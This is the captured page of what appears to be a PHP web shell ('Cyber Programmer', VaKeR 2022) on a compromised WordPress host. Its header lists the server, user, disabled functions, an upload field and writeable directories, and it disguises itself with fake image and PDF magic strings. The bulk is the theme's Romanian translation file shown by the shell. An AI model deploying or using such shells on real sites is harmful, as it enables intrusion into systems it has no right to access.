%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/webroot/blog/wp-content/themes/Newspaper/translation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/webroot/blog/wp-content/themes/Newspaper/translation/ro_RO.po
msgid ""
msgstr ""
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: ro_RO\n"


msgid "View all results"
msgstr "Vedeți toate rezultatele"


msgid "No results"
msgstr "Niciun rezultat"


msgid "Home"
msgstr "Acasă"


msgid "CLOSE"
msgstr "ÎNCHIDEȚI"


msgid "Page"
msgstr "Pagina"


msgid "All"
msgstr "Toate"


msgid "By"
msgstr "De către"


msgid "Load more"
msgstr "Încărcați mai multe"


msgid "View all posts in"
msgstr "Vedeți toate articolele în"


msgid "Tags"
msgstr "Etichete"


msgid "Previous article"
msgstr "Articolul precedent"


msgid "Next article"
msgstr "Articolul următor"


msgid "Authors"
msgstr "Autori"


msgid "Author"
msgstr "Autor"


msgid "RELATED ARTICLES"
msgstr "ARTICOLE SIMILARE"


msgid "MORE FROM AUTHOR"
msgstr "DE LA ACELAȘI AUTOR"


msgid "VIA"
msgstr "VIA"


msgid "SOURCE"
msgstr "SURSĂ"


msgid "TAGS"
msgstr "ETICHETE"


msgid "SHARE"
msgstr "DISTRIBUIȚI"


msgid "Continue"
msgstr "Continuați"


msgid "Read more"
msgstr "Citiți mai mult"


msgid "Name:"
msgstr "Nume:"


msgid "Email:"
msgstr "Email:"


msgid "Website:"
msgstr "Website:"


msgid "Comment:"
msgstr "Comentariu:"


msgid "LEAVE A REPLY"
msgstr "LĂSAȚI UN MESAJ"


msgid "Post Comment"
msgstr "Trimiteți comentariu"


msgid "Cancel reply"
msgstr "Renunțați la răspuns"


msgid "Reply"
msgstr "Răspundeți"


msgid "Log in to leave a comment"
msgstr "Autentificați-vă pentru a lăsa un comentariu"


msgid "NO COMMENTS"
msgstr "NICIUN COMENTARIU"


msgid "1 COMMENT"
msgstr "1 COMENTARIU"


msgid "COMMENTS"
msgstr "COMENTARII"


msgid "REVIEW OVERVIEW"
msgstr "REVEDEȚI PREZENTAREA"


msgid "SUMMARY"
msgstr "CUPRINS"


msgid "OVERALL SCORE"
msgstr "SCOR GENERAL"


msgid "Ooops... Error 404"
msgstr "Upps ... Eroare 404"


msgid "Sorry, but the page you are looking for doesn't exist."
msgstr "Ne pare rău, dar pagina pe care o cautați nu există."


msgid "You can go to the"
msgstr "Puteți merge la"


msgid "HOMEPAGE"
msgstr "HOMEPAGE"


msgid "OUR LATEST POSTS"
msgstr "ULTIMELE NOASTRE ARTICOLE"


msgid "Posts by"
msgstr "Articole adaugate de către"


msgid "POSTS"
msgstr "ARTICOLE"


msgid "Posts tagged with"
msgstr "Articole etichetate cu"


msgid "Tag"
msgstr "Etichetă"


msgid "Daily Archives:"
msgstr "Arhive Zilnice:"


msgid "Monthly Archives:"
msgstr "Arhive Lunare:"


msgid "Yearly Archives:"
msgstr "Arhive Anuale:"


msgid "Archives"
msgstr "Arhive"


msgid "LATEST ARTICLES"
msgstr "ULTIMELE ARTICOLE"


msgid "search results"
msgstr "rezultatele căutării"


msgid "Search"
msgstr "Căutați"


msgid "If you're not happy with the results, please do another search"
msgstr "Dacă nu sunteți mulțumiți de rezultate, vă rugăm folosiți alt criteriu de căutare"


msgid "Contact us"
msgstr "Contactați-ne"


msgid "Page %CURRENT_PAGE% of %TOTAL_PAGES%"
msgstr "Pagina %CURRENT_PAGE% din %TOTAL_PAGES%"


msgid "Next"
msgstr "Înainte"


msgid "Prev"
msgstr "Înapoi"


msgid "No results for your search"
msgstr "Niciun rezultat pentru căutarea dvs"


msgid "No posts to display"
msgstr "Niciun articol afișat"


msgid "LOG IN"
msgstr "AUTENTIFICAȚI-VĂ"


msgid "Sign in / Join"
msgstr "Autentificați-vă / Înregistrați-vă"


msgid "Log In"
msgstr "Autentificați-vă"


msgid "REGISTER"
msgstr "ÎNREGISTRAȚI-VĂ"


msgid "Send My Pass"
msgstr "Trimiteți-mi parola"


msgid "Forgot your password?"
msgstr "V-ați uitat parola?"


msgid "Please wait..."
msgstr "Vă rugăm așteptați..."


msgid "User or password incorrect!"
msgstr "Nume de utilizator sau parola incorectă!"


msgid "Email or username incorrect!"
msgstr "Email sau nume de utilizator incorect!"


msgid "Email incorrect!"
msgstr "Email incorect!"


msgid "User or email already exists!"
msgstr "Nume de utilizator sau email deja existent!"


msgid "Please check you email (index or spam folder), the password was sent there."
msgstr "Vă rugăm verificați-vă email-ul (directorul index sau spam), parola v-a fost trimisă într-unul dintre acestea"


msgid "Email address not found!"
msgstr "Adresa de email nu a fost gasită!"


msgid "Your password is reset, check your email."
msgstr "Parola dvs a fost resetată, verificați-vă adresa de email."


msgid "Welcome! Log into your account"
msgstr "Bine ați venit! Autentificați-vă in contul dvs"


msgid "Register for an account"
msgstr "Inregistrați-vă pentru un cont"


msgid "Recover your password"
msgstr "Recuperați-vă parola"


msgid "your username"
msgstr "numele dvs de utilizator"


msgid "your password"
msgstr "parola dvs"


msgid "your email"
msgstr "adresa dvs de email"


msgid "A password will be e-mailed to you."
msgstr "O parola va fi trimisă pe adresa dvs de email."


msgid "Logout"
msgstr "Ieșire"


msgid "Like"
msgstr "Îmi place"


msgid "Fans"
msgstr "Fani"


msgid "Follow"
msgstr "Conectați-vă"


msgid "Followers"
msgstr "Cititori"


msgid "Subscribe"
msgstr "Abonați-vă"


msgid "Subscribers"
msgstr "Abonați"


msgid "MORE STORIES"
msgstr "MAI MULTE ARTICOLE"


msgid "Latest"
msgstr "Ultimele"


msgid "Featured posts"
msgstr "Articole recomandate"


msgid "Most popular"
msgstr "Cele mai populare"


msgid "7 days popular"
msgstr "Cele mai populare din ultimele 7 zile"


msgid "By review score"
msgstr "După recenzie"


msgid "Random"
msgstr "Aleator"


msgid "Trending Now"
msgstr "De Actualitate"


msgid "POPULAR CATEGORY"
msgstr "CATEGORIE POPULARĂ"


msgid "EVEN MORE NEWS"
msgstr "ȘI MAI MULTE ȘTIRI"


msgid "Previous (Left arrow key)"
msgstr "Înainte (Tasta direcționare stânga)"


msgid "Next (Right arrow key)"
msgstr "Înapoi (Tasta direcționare dreapta)"


msgid "%curr% of %total%"
msgstr "%curr% din %total%"


msgid "The content from %url% could not be loaded."
msgstr "Conținutul de la %url% nu poate fi încărcat."


msgid "The image #%curr% could not be loaded."
msgstr "Imaginea #%curr% nu poate fi încărcată."


msgid "Blog"
msgstr "Blog"


msgid "Share on Facebook"
msgstr "Distribuiți pe Facebook"


msgid "Tweet on Twitter"
msgstr "Distribuiți pe Twitter"


msgid "EDITOR PICKS"
msgstr "ALEGEREA EDITORULUI"


msgid "POPULAR POSTS"
msgstr "POSTĂRI POPULARE"


msgid "FOLLOW US"
msgstr "URMAȚI-NE"


msgid "ABOUT US"
msgstr "DESPRE NOI"


msgid "More"
msgstr "Mai mult"


msgid "Featured"
msgstr "Recomandate"


msgid "All time popular"
msgstr "Tot timpul populare"


msgid "Likes"
msgstr "Likes"


msgid "Register"
msgstr "Înregistrare"


msgid "of"
msgstr "de"


msgid "Euro Member Countries"
msgstr "țările membre ale euro"


msgid "Your comment is awaiting moderation"
msgstr "Comentariul dvs. așteaptă să fie moderat"


msgid "Follow us on Instagram"
msgstr "Urmați-ne pe Instagram"


msgid "Back"
msgstr "înapoi"


msgid "Sign in"
msgstr "Conectare"


msgid "Sign up"
msgstr "Inscrie-te"


msgid "Join"
msgstr "A adera"


msgid "Welcome!"
msgstr "Bine ati venit!"


msgid "Log into your account"
msgstr "Conecteaza-te la contul tau"


msgid "Password recovery"
msgstr "Recuperare parola"


msgid "Please check your email (index or spam folder), the password was sent there."
msgstr "Vă rugăm să verificați email-ul (indexul sau spam dosar), parola a fost trimisă acolo."


msgid "Australian Dollar"
msgstr "Dolar australian"


msgid "Bulgarian Lev"
msgstr "Leva bulgară"


msgid "Brazilian Real"
msgstr "Realul brazilian"


msgid "Canadian Dollar"
msgstr "Dolarul canadian"


msgid "Swiss Franc"
msgstr "Franc elvețian"


msgid "Chinese Yuan Renminbi"
msgstr "Yuani renminbi Chineză"


msgid "Czech Republic Koruna"
msgstr "Koruna Republica Cehă"


msgid "Danish Krone"
msgstr "Coroane daneze"


msgid "British Pound"
msgstr "Lira sterlină"


msgid "Hong Kong Dollar"
msgstr "Dolar Hong Kong"


msgid "Croatian Kuna"
msgstr "Kuna croată"


msgid "Hungarian Forint"
msgstr "Forint maghiar"


msgid "Indonesian Rupiah"
msgstr "Rupie indoneziană"


msgid "Israeli Shekel"
msgstr "Shekel Israeli"


msgid "Indian Rupee"
msgstr "Rupie indiană"


msgid "Japanese Yen"
msgstr "Yeni japonezi"


msgid "Korean (South) Won"
msgstr "Coreeană (sud), a câștigat"


msgid "Mexican Peso"
msgstr "Peso mexican"


msgid "Malaysian Ringgit"
msgstr "Ringitt malaezian"


msgid "Norwegian Krone"
msgstr "Coroană norvegiană"


msgid "New Zealand Dollar"
msgstr "Dolar nou zeelanda"


msgid "Philippine Peso"
msgstr "Peso Philippine"


msgid "Polish Zloty"
msgstr "Zloți polonezi"


msgid "Romanian (New) Leu"
msgstr "Română (nou) leu"


msgid "Russian Ruble"
msgstr "Rubla rusă"


msgid "Swedish Krona"
msgstr "Coroana suedeză"


msgid "Singapore Dollar"
msgstr "Dolar singapore"


msgid "Thai Baht"
msgstr "Baht thai"


msgid "Turkish Lira"
msgstr "Liră turcească"


msgid "United States Dollar"
msgstr "Dolarul Statelor Unite"


msgid "South African Rand"
msgstr "Rand sud-african"


msgid "Privacy Policy"
msgstr "Politica de confidentialitate"


msgid "views"
msgstr "vizualizari"


msgid "Modified date:"
msgstr "Data modificata:"


msgid "Please enter your name here"
msgstr "Introduceți aici numele dvs."


msgid "Please enter your email address here"
msgstr "Vă rugăm să introduceți adresa dvs. de e-mail aici"


msgid "You have entered an incorrect email address!"
msgstr "Ați introdus o adresă de e-mail incorectă!"


msgid "Please enter your comment!"
msgstr "Vă rugăm să introduceți comentariul dvs.!"


msgid "Logged in as"
msgstr "Conectat ca"


msgid "Log out?"
msgstr "Ieșiți?"


msgid "Logged in as %s. Edit your profile."
msgstr "Conectat ca% s. Editeaza-ti profilul."


msgid "Edit"
msgstr "Editați | ×"


msgid "Login"
msgstr "Logare"


msgid "Send My Password"
msgstr "Trimite parola"


msgid "Create an account"
msgstr "Creează un cont"


msgid "Welcome! Register for an account"
msgstr "Bine ati venit! înregistrați-vă pentru un cont"


msgid "About me"
msgstr "Despre mine"


msgid "Save my name, email, and website in this browser for the next time I comment."
msgstr "Salvați numele meu, adresa de e-mail și site-ul web în acest browser pentru data viitoare i comentariu."


msgid "My account"
msgstr "Contul meu"


msgid "Orders"
msgstr "Comenzi"


msgid "Addresses"
msgstr "Adrese"


msgid "Account settings"
msgstr "Setările contului"


msgid "Hello"
msgstr "Buna ziua"


msgid "No products in the cart."
msgstr "Nu există produse în coș."


msgid "Product categories"
msgstr "Categorii de produse"


msgid "Product tags"
msgstr "Etichete de produs"


msgid "Success"
msgstr "Succes"


msgid "Acknowledgment is required!"
msgstr "Este necesară recunoașterea!"


msgid "Please fill in a valid email."
msgstr "Vă rugăm să completați un e-mail valid."


msgid "Please fill in an email address."
msgstr "Vă rugăm să completați o adresă de e-mail."


msgid "Get into your account."
msgstr "Intra in contul tau."


msgid "My subscription account"
msgstr "Contul meu de abonament"


msgid "Account details"
msgstr "Detalii cont"


msgid "Subscriptions"
msgstr "Abonamente"


msgid "My woo account"
msgstr "Contul meu woo"


msgid "Log out"
msgstr "Deconectați-vă"


msgid "Email address"
msgstr "Adresa de email"


msgid "Username"
msgstr "Nume de utilizator"


msgid "Password"
msgstr "Parola"


msgid "must contain at least one lower case (a..z)"
msgstr "trebuie să conțină cel puțin o literă mică (a..z)"


msgid "must contain at least one upper case (A..Z)"
msgstr "trebuie să conțină cel puțin o literă mare (a..z)"


msgid "must contain at least 6 characters in length"
msgstr "trebuie să conțină cel puțin 6 caractere lungime"


msgid "Repeat password"
msgstr "Repeta parola"


msgid "Already have an account?"
msgstr "Ai deja un cont?"


msgid "Recover password"
msgstr "Recuperează parola"


msgid "Username or Email address"
msgstr "Nume de utilizator sau Adresa de email"


msgid "Forgot password?"
msgstr "Ați uitat parola?"


msgid "Don't have an account?"
msgstr "Nu ai cont?"


msgid "Dashboard"
msgstr "Bord"


msgid "Welcome to your account!"
msgstr "Bun venit in contul tau!"


msgid "Hello %1$s (not %2$s? %3$s)! From your account dashboard you can view your subscriptions and manage your account details."
msgstr "Salut %1$s (nu %2$s? %3$s)! din tabloul de bord al contului, vă puteți vedea abonamentele și puteți gestiona detaliile contului."


msgid "Lost Password"
msgstr "Parola pierdută"


msgid "Manage your account details."
msgstr "Gestionați detaliile contului dvs."


msgid "First name"
msgstr "Nume"


msgid "Last name"
msgstr "Numele de familie"


msgid "Display name"
msgstr "Numele afisat"


msgid "Current password"
msgstr "Parola actuală"


msgid "(leave blank to leave unchanged)"
msgstr "(lasa gol pentru a lasa neschimbat)"


msgid "New password"
msgstr "Parolă Nouă"


msgid "Confirm new password"
msgstr "Confirmă noua parolă"


msgid "Save changes"
msgstr "Salvează modificările"


msgid "All your subscriptions."
msgstr "Toate abonamentele tale."


msgid "Plan"
msgstr "Plan"


msgid "Payment type"
msgstr "Tipul de plată"


msgid "Status"
msgstr "Stare"


msgid "Months"
msgstr "Luni"


msgid "Start date"
msgstr "Data de început"


msgid "End date"
msgstr "Data de încheiere"


msgid "missing plan"
msgstr "plan lipsă"


msgid "Free"
msgstr "Gratuit"


msgid "Active"
msgstr "Activ"


msgid "Trial"
msgstr "Proces"


msgid "Blocked"
msgstr "Blocat"


msgid "Closed"
msgstr "închis"


msgid "Not paid"
msgstr "Neplatit"


msgid "Awaiting payment"
msgstr "în așteptarea plății"


msgid "Subscription info"
msgstr "Informații despre abonament"


msgid "ID"
msgstr "ID"


msgid "Name"
msgstr "Nume"


msgid "Company name"
msgstr "Numele companiei"


msgid "VAT"
msgstr "TVA"


msgid "Address"
msgstr "Abordare"


msgid "City"
msgstr "Oraș"


msgid "Country/State"
msgstr "Tara/stat"


msgid "Email"
msgstr "E-mail"


msgid "Postal code"
msgstr "Cod poștal"


msgid "Direct bank transfer details"
msgstr "Detaliile transferului bancar direct"


msgid "Account name"
msgstr "Nume de cont"


msgid "Account number"
msgstr "Numar de cont"


msgid "Bank name"
msgstr "Numele băncii"


msgid "Routing number"
msgstr "Numărul de rutare"


msgid "IBAN"
msgstr "IBAN"


msgid "Bic/Swift"
msgstr "Bic/swift"


msgid "Instructions"
msgstr "Instrucțiuni"


msgid "No subscription created."
msgstr "Nu a fost creat niciun abonament."


msgid "Choose plan"
msgstr "Alege planul"


msgid "Payment methods"
msgstr "Metode de plata"


msgid "Total"
msgstr "Total"


msgid "Period"
msgstr "Perioadă"


msgid "Subscription summary"
msgstr "Rezumatul abonamentului"


msgid "Phone"
msgstr "Telefon"


msgid "Postcode"
msgstr "Cod poștal"


msgid "County"
msgstr "Judetul"


msgid "Town/City"
msgstr "Oraș/oraș"


msgid "Street address"
msgstr "Adresa străzii"


msgid "Country/Region"
msgstr "Tara/regiune"


msgid "VAT Number"
msgstr "TVA"


msgid "(optional)"
msgstr "(optional)"


msgid "Billing details"
msgstr "Detalii de facturare"


msgid "User information"
msgstr "Informații despre utilizator"


msgid "It seems that no available payment methods have been configured."
msgstr "Se pare că nu au fost configurate metode de plată disponibile."


msgid "Thank you! We are delighted to see you here. Your subscription will be activated soon!"
msgstr "Mulțumesc! suntem încântați să vă vedem aici. abonamentul tau va fi activat in curand!"


msgid "Our bank details"
msgstr "Detaliile noastre bancare"


msgid "Your subscription details"
msgstr "Detaliile abonamentului dvs"


msgid "View subscription"
msgstr "Vizualizați abonamentul"


msgid "You have not selected a valid subscription plan."
msgstr "Nu ați selectat un plan de abonament valid."


msgid "Field empty"
msgstr "Câmp gol"


msgid "Empty first name"
msgstr "Prenume gol"


msgid "Empty last name"
msgstr "Nume de familie gol"


msgid "Empty country"
msgstr "Tara goala"


msgid "Empty address"
msgstr "Adresa goală"


msgid "Empty city"
msgstr "Oraș gol"


msgid "Empty county"
msgstr "Judetul gol"


msgid "Empty postcode"
msgstr "Cod poștal gol"


msgid "Empty phone"
msgstr "Telefon gol"


msgid "Empty email"
msgstr "E-mail gol"


msgid "Email or username empty!"
msgstr "E-mail sau nume de utilizator gol!"


msgid "Pass empty!"
msgstr "Trece gol!"


msgid "Username incorrect!"
msgstr "Nume de utilizator incorect!"


msgid "Invalid Pass Pattern!"
msgstr "Model de trecere nevalid!"


msgid "Please activate your account by following the link sent to your email address."
msgstr "Vă rugăm să vă activați contul urmând linkul trimis la adresa dvs. de e-mail."


msgid "Resend activation link"
msgstr "Retrimiteți linkul de activare"


msgid "In order to have access to this section, you have to activate your account."
msgstr "Pentru a avea acces la aceasta sectiune trebuie sa iti activezi contul."


msgid "Email empty!"
msgstr "E-mail gol!"


msgid "Username empty!"
msgstr "Numele de utilizator este gol!"


msgid "Pass pattern incorrect!"
msgstr "Model de trecere incorect!"


msgid "Retyped pass empty!"
msgstr "Permis reintrodus gol!"


msgid "Retyped pass exactly!"
msgstr "Trecerea rescrisă exact!"


msgid "User already exists!"
msgstr "Utilizatorul deja există!"


msgid "Email already exists!"
msgstr "E-mail există deja!"


msgid "Your account could not be created."
msgstr "Contul dvs. nu a putut fi creat."


msgid "Please check your email (inbox or spam folder) to validate your account."
msgstr "Vă rugăm să vă verificați e-mailul (inbox sau dosarul de spam) pentru a vă valida contul."


msgid "User empty!"
msgstr "Utilizator gol!"


msgid "User does not exists!"
msgstr "Utilizatorul nu există!"


msgid "New activation link was generated. Please check your email (inbox or spam folder) to validate your account."
msgstr "A fost generat un nou link de activare. vă rugăm să vă verificați e-mailul (inbox sau dosarul de spam) pentru a vă valida contul."


msgid "CAPTCHA verification failed!"
msgstr "Verificarea captcha a eșuat!"


msgid "CAPTCHA user score failed. Please contact us!"
msgstr "Scorul utilizatorului captcha a eșuat. va rog sa ne contactati!"


msgid "Loading"
msgstr "Se încarcă"


msgid "Here are the results for the search:"
msgstr "Iată rezultatele căutării:"


msgid "Price"
msgstr "Preț"


msgid "EXCLUSIVE"
msgstr "EXCLUSIV"


msgid "Tel:"
msgstr "Tel:"


msgid "Share"
msgstr "Acțiune"


msgid "Print"
msgstr "Imprimare"


msgid "At"
msgstr "La"


msgid "Comments are closed."
msgstr "Comentariile sunt închise."


msgid "My account"
msgstr "Contul meu"


msgid "Payment method"
msgstr "Modalitate de plată"


VaKeR 2022